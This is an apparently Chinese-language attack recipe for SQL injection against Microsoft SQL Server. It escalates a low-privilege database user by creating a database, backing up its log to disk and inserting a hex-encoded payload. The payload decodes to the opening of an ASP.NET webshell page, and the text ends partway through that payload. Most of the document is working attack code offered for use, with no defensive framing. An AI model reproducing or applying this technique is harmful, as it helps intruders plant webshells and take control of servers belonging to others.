Mssql 注入攻击，普通权限用户提权操作

如果该用户能够创建数据库的话

use master
go

create database book
go
use book
go
alter database book set RECOVERY FULL
go
create table cmd (a image)
go
backup database book to disk='c:bookdb.bak' with init
go
backup log book to disk='c:/book.bak' with init
go
insert into cmd (a) values('0x3C25402050616765204C616E67756167653D2243232220436F6E74656E74547970653D22746578742F68746D6C22202076616C6964617465526571756573743D2266616C73652220617370636F6D7061743D227472756522253E0D0A3C254020496D706F7274204E616D6573706163653D2253797374656D2E494F2220253E0D0A3C254020696D706F7274206E616D6573706163653D2253797374656D2E446961676E6F73746963732220253E0D0A3C254020496D706F7274204E616D6573706163653D224D6963726F736F66742E57696E33322220253E0D0A3C254020496D706F7274204E616D6573706163653D2253797374656D2E436F6C6C656374696F6E7322253E0D0A3C254020496D706F7274204E616D6573706163653D2253797374656D2E4E657422253E0D0A3C254020496D706F7274204E616D6573706163653D2253797374656D2E446174612E53716C436C69656E742220253E0D0A3C254020496D706F7274204E616D6573706163653D2253797374656D2E546872656164696E672220253E0D0A3C254020496D706F7274204E616D6573706163653D2253797374656D2E4E65742E536F636B65747322253E0D0A3C254020496D706F7274204E616D6573706163653D2253797374656D2E446961676E6F737469637322253E0D0A3C666F726D2069643D2266726D3